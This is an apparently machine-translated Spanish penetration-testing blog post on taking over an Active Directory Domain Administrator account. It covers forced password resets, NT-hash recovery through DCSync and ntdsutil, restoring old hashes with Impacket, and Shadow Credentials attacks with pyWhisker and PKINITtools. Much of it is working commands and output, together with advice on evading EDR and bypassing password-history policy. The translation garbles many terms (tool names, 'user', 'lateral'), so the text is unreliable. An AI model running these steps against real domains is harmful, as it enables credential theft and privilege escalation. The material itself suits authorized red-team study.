Hay dos razones comunes por las que es posible que desee cambiar la contraseña de un adjudicatario durante una prueba de penetración:
- Tiene su hash NT pero no su contraseña de texto sin formato. Cambiar su contraseña a un valencia de texto sin formato conocido puede permitirle penetrar a servicios en los que Pass-the-Hash no es una opción.
- No tiene su hash NT o contraseña de texto sin formato, pero tiene permisos para modificarlos. Esto puede permitir un movimiento vecino o una ascenso de privilegios.
Uno y otro casos de uso se han cubierto en el pasado aprovechando Mimikatz‘s lsadump::setntlm y lsadump::changentlm funciones Mientras Mimikatz es una de las mejores herramientas ofensivas, trato de evitarla cuando sea posible porque está muy dirigida a las herramientas antivirus y EDR. Para esta publicación, hablaré exclusivamente sobre el caso de uso n.º 2: restablecer contraseñas para movimiento vecino o ascenso de privilegios.
Considerando el ulterior ambiente:
Tienes control sobre el n00py cuenta de adjudicatario, que tiene permisos para restablecer la contraseña de esteban_daquien es miembro de la Administradores de dominio colección.

Primero, analizaré rápidamente este ataque usando Windows. Para realizar el restablecimiento de contraseña auténtico, tiene algunas opciones:
- el incorporado net.exe binario. Tiendo a evitar ejecutar net.exe, ya que suele ser una señal de alerta para EDR.
- PowerView‘s Establecer contraseña de adjudicatario de dominio. Esto asimismo funciona. Sin bloqueo, si es posible, me gusta evitar importar scripts de PowerShell.
- el incorporado Establecer ADAccountPassword Comando de PowerShell. Este es el que normalmente prefiero.

Con este reinicio, hemos causado un problema potencial. El adjudicatario esteban_da ya no podrá iniciar sesión porque hemos cambiado su contraseña, y debemos retornar a cambiarla antiguamente de que se dé cuenta. Hexaedro que ahora tenemos control sobre una cuenta en el colección Administradores de dominio, podremos restablecerla.
Restablecimiento de contraseñas con Windows
La primera orden del día es recuperar el hash NT de la contraseña preparatorio. La forma más comprensible de hacer esto es con Mimikatzaunque presentaré algunas alternativas.

Otra forma de recuperar esto es mediante el uso de herramientas de cuerda de comandos para recuperar la colchoneta de datos NTDS.dit, así como la sección de registro del SISTEMA. Existen muchas formas de hacer esto, pero una forma simple es usar el ntdsutil y mando.

Una vez que tenga estos archivos, puede retirarlos del sistema para extraerlos sin conexión.
Una vez fuera de cuerda, Mimikatz se puede usar sin ser detectado, pero la recuperación asimismo es posible usando DSInternos por Michael Grafnetter.

Ahora que se recuperó el hash flamante de NT, es hora de restablecerlo. Primero, con Mimikatz:

Esto asimismo se puede hacer usando DSInternos y el Establecer-SamAccountPasswordHash:

Me gusta eso DSInternos es de doble uso y normalmente no se considera una útil ataque. Incluso se puede instalar directamente desde el Galería de Microsoft PowerShell.
Hasta ahora, todos los métodos han requerido el uso de Windows, pero ¿qué pasa si no queremos usar Windows en total?
Restablecimiento de contraseñas con Linux
Esta dependencia de ataque asimismo se puede replicar utilizando solo herramientas de cuerda de comandos que se ejecutan en Linux.
El restablecimiento de la contraseña auténtico se puede hacer a través de LDAP usando python ldap3 biblioteca. Primero, nos enlazamos a LDAP usando el n00py cuenta. Luego realizamos el restablecimiento de contraseña contra esteban_da.
# python3
>>> import ldap3
>>> from ldap3 import ALL, Server, Connection, NTLM, extend, SUBTREE
>>> user="n00py"
>>> password = 'PasswordForn00py'
>>> server = ldap3.Server('n00py.lugar',get_info = ldap3.ALL, port=636, use_ssl = True)
>>> c = Connection(server, user, password=password)
>>> c.bind()
True
>>> c.extend.microsoft.modify_password('CN=ESTEBAN DA,OU=EMPLOYEES,DC=N00PY,DC=LOCAL', 'NewPass123')
True
Restablecimiento de contraseña a través de LDAP
Una vez que se restablece la contraseña, tenemos control sobre un Administrador de dominio. A continuación, se puede realizar un DCSync contra el esteban_da cuenta usando paquete de impacto‘s secretsdump.py con el -solo-dc-usuario y -historia banderas
# python3 impacket/examples/secretsdump.py esteban_da:(email protected) -just-dc-user esteban_da -history
Impacket v0.9.25.dev1+20220217.14948.9fee58da - Copyright 2021 SecureAuth Corporation
(*) Dumping Domain Credentials (domainuid:rid:lmhash:nthash)
(*) Using the DRSUAPI method to get NTDS.DIT secrets
n00py.localesteban_da:1119:aad3b435b51404eeaad3b435b51404ee:<CURRENT NTHASH>:::
n00py.localesteban_da_history0:1119:<OLD NT HASH>:::
Volcar el historial de contraseñas con Impacket
Una vez que se recupera el hash de NT preparatorio, se puede retornar a configurar usando smbpasswd.py de paquete de impacto.
Nota: Esto no pasa por suspensión los requisitos de la política de contraseñas, por lo que querrá enumerar eso de antemano, en particular la decrepitud mínima de la contraseña y el historial de contraseñas. Esto se puede hacer usando el cuentas netas/dominio comando en Windows o usando el –pass-pol bandera en CrackMapExec. Si la política de contraseñas se convierte en un problema, es posible que deba modificarla posteriormente del compromiso.
# python3 smbpasswd.py n00py.lugar/esteban_da:(email protected) -newhashes aad3b435b51404eeaad3b435b51404ee:<OLD NT HASH>
Impacket v0.9.25.dev1+20220217.14948.9fee58da - Copyright 2021 SecureAuth Corporation
(*) NTLM hashes were changed successfully.
Restablecimiento de NT Hash con Impacket
En el momento de esta publicación, dos (2) solicitudes de cuna activas para paquete de impacto existir. Estas solicitudes agregan la capacidad de restablecer la contraseña modificando directamente NTDS en el regulador de dominio al igual que Mimikatz hace. Esto permite eludir la política de contraseñas pero requiere Administrador de dominio nivel de privilegios para realizar.
Usando Impacket PR #1172podemos restablecer esteban_da retornar al hash flamante usando otro Administrador de dominio cuenta y omitiendo el historial de contraseñas.
# python3 smbpasswd.py n00py.lugar/(email protected) -hashes :<ADMINISTRATOR NT HASH> -reset esteban_da -newhashes :<ESTEBAN_DA NT HASH>
Impacket v0.9.24.dev1+20210929.201429.1c847042 - Copyright 2021 SecureAuth Corporation
(*) NTLM hashes were set successfully.
Restablecimiento de NT Hash con Impacket y omisión del historial de contraseñas PR#1172
Otra advertencia es que posteriormente de restablecer el hash de la contraseña a su valencia flamante, la cuenta se configura para que la contraseña caduque. Para borrar este indicador, podemos usar LDAP con el hash NT de otra cuenta de administrador de dominio recuperada de DCSync.
# python3
>>> import ldap3
>>> from ldap3 import ALL, Server, Connection, NTLM, extend, SUBTREE
>>> server = ldap3.Server('n00py.lugar',get_info = ldap3.ALL, port=636, use_ssl = True)
>>> user="n00py.lugarAdministrator"
>>> password =’<LM HASH>:<NT HASH>’
>>> c = Connection(server, user, password=password, authentication=NTLM)
>>> c.bind()
True
>>> from ldap3 import MODIFY_ADD, MODIFY_REPLACE, MODIFY_DELETE
>>> changeUACattribute = {"PwdLastSet": (MODIFY_REPLACE, ("-1")) }
>>> c.modify('CN=ESTEBAN DA,OU=EMPLOYEES,DC=N00PY,DC=LOCAL', changes=changeUACattribute)
True
Matanza del atributo de contraseña caducado
El esteban_da Luego, la cuenta vuelve a su configuración flamante.
Otro paquete de impacto relaciones públicas #1171funciona de la misma forma pero con una sintaxis sutilmente diferente.
# python3 smbpasswd.py n00py.lugar/esteban_da:@n00py.lugar -newhashes :<ESTEBAN_DA NT HASH> -altuser n00py.lugar/administrator -althash <ADMINISTRATOR NT HASH> -admin
Impacket v0.9.24.dev1+20220226.11205.67342473 - Copyright 2021 SecureAuth Corporation
(*) Credentials were injected into SAM successfully.
Restablecimiento de NT Hash con Impacket y omisión del historial de contraseñas PR 1171
Beneficio: Credenciales de la sombra
¿Necesitamos restablecer la contraseña para esteban_da para controlarlo? La respuesta es en ingenuidad no, no lo hicimos. Una vez más, echemos un vistazo a la Sabueso grafico:

Vemos que no solo teníamos permiso para restablecer la contraseña, sino que asimismo teníamos Escritura genérica permisos Pero ¿qué significa eso? Si miramos con destino a el Podenco extralimitarse de la información, nos permite retener que asimismo podemos realizar un ataque Kerberoast dirigido.
Excelente, pero esto aún requiere que podamos recuperar la contraseña de texto sin formato de un ticket de Kerberos, lo que no será posible a menos que el adjudicatario tenga una contraseña débil.
adicionalmente, el Podenco las propinas no incluyen todo, y Podenco no siempre le muestra todos los bordes disponibles de un objeto a otro. Esto se debe a que algunos bordes están implícitos, como GenéricoTodolo que implica que tienes Escritura genérica asimismo y por lo tanto es redundante enumerar.
Si tuviéramos que eliminar Escritura genérica y vuelva a ejecutar el Podenco colección, veríamos esto:

Ahora vemos cuatro (4) bordes que no veíamos antiguamente. Primero, revisemos la información de despotismo de Podenco:
- EscribirDACL: Esto nos dice que podemos juntar el GenéricoTodo permiso, luego realice un ataque Kerberoast dirigido o un restablecimiento de contraseña forzado.
- Todos los derechos extendidos: Esto nos permite retener que podemos realizar un restablecimiento de contraseña forzado.
- WritePropietario: Esto nos permite retener que podemos cambiar el propietario del objeto y, una vez más, realizar un ataque Kerberoast dirigido o un restablecimiento de contraseña forzado.
- AddKeyCredentialLink: En el momento de este blog, no existía ningún texto de ayuda para este borde.
Con el AddKeyCredentialLink privilegio, es posible realizar un ataque de Shadow Credentials. Si perfectamente esta técnica se conoce como una forma en que los atacantes pueden persistir silenciosamente en un entorno, asimismo es útil para la ascenso de privilegios de la misma forma que los restablecimientos forzados de contraseñas.
Esto nos permite recuperar un ticket de Kerberos para el adjudicatario y recuperar su hash de NT, actuando efectivamente como un DCSync de un solo adjudicatario. No entraré en detalles sobre cómo funciona un ataque, ya que eso es cubierto extensamente ya, pero demostraré cómo realizar este ataque desde Windows y Linux.
Sombra de credenciales de Windows
Este ataque se puede realizar desde Windows usando Bigote por Elad Shamir. Es sobrado simple de usar, y posteriormente de juntar las Credenciales ocultas, genera un certificado y Rojocomando para recuperar el hash Kerberos TGT y NT.


Sombra de credenciales de Linux
Desde Linux, podemos realizar este ataque usando pybigotes por Charlie Bromberg.
# python3 pywhisker.py -d "n00py.lugar" -u "n00py" -p "PasswordForn00py" --target "esteban_da" --action "add" --filename hax
(*) Searching for the target account
(*) Target user found: CN=esteban da,OU=Employees,DC=n00py,DC=lugar
(*) Generating certificate
(*) Certificate generated
(*) Generating KeyCredential
(*) KeyCredential generated with DeviceID: 02b2e9ef-d55f-60fe-bca9-f254249a49af
(*) Updating the msDS-KeyCredentialLink attribute of esteban_da
(+) Updated the msDS-KeyCredentialLink attribute of the target object
(+) Saved PFX (#PKCS12) certificate & key at path: hax.pfx
(*) Must be used with password: dfeiecA9SZN75zJ7P5Zs
(*) A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Amplificar credenciales de sombra con pyWhisker
Una vez que las credenciales de la sombra están en su circunstancia, el hash Kerberos TGT y NT se puede recuperar usando PKINITherramientas de Dirk-jan Mollema.
# python3 gettgtpkinit.py -cert-pfx hax.pfx -pfx-pass dfeiecA9SZN75zJ7P5Zs n00py.lugar/esteban_da esteban_da.ccache
2022-02-21 16:29:58,106 minikerberos INFO Loading certificate and key from file
2022-02-21 16:29:58,125 minikerberos INFO Requesting TGT
2022-02-21 16:29:58,148 minikerberos INFO AS-REP encryption key (you might need this later):
2022-02-21 16:29:58,148 minikerberos INFO 571d3d9f833365b54bd311a906a63d95da107a8e7457e8ef01b36810daadf243
2022-02-21 16:29:58,151 minikerberos INFO Saved TGT to file
# python3 getnthash.py -key 571d3d9f833365b54bd311a906a63d95da107a8e7457e8ef01b36810daadf243 n00py.lugar/esteban_da
Impacket v0.9.25.dev1+20220217.14948.9fee58da - Copyright 2021 SecureAuth Corporation
(*) Using TGT from cache
(*) Requesting ticket to self with PAC
Recovered NT Hash
<NT HASH>
Obtener TGT y NT Hash con PKINITtools
Pensamientos finales
Si perfectamente algunos de estos temas se han cubierto antiguamente, es valioso contar con múltiples técnicas que se pueden usar para conquistar el mismo objetivo. Cada entorno tiene sus limitaciones únicas y tener más opciones disponibles aumenta la probabilidad de éxito.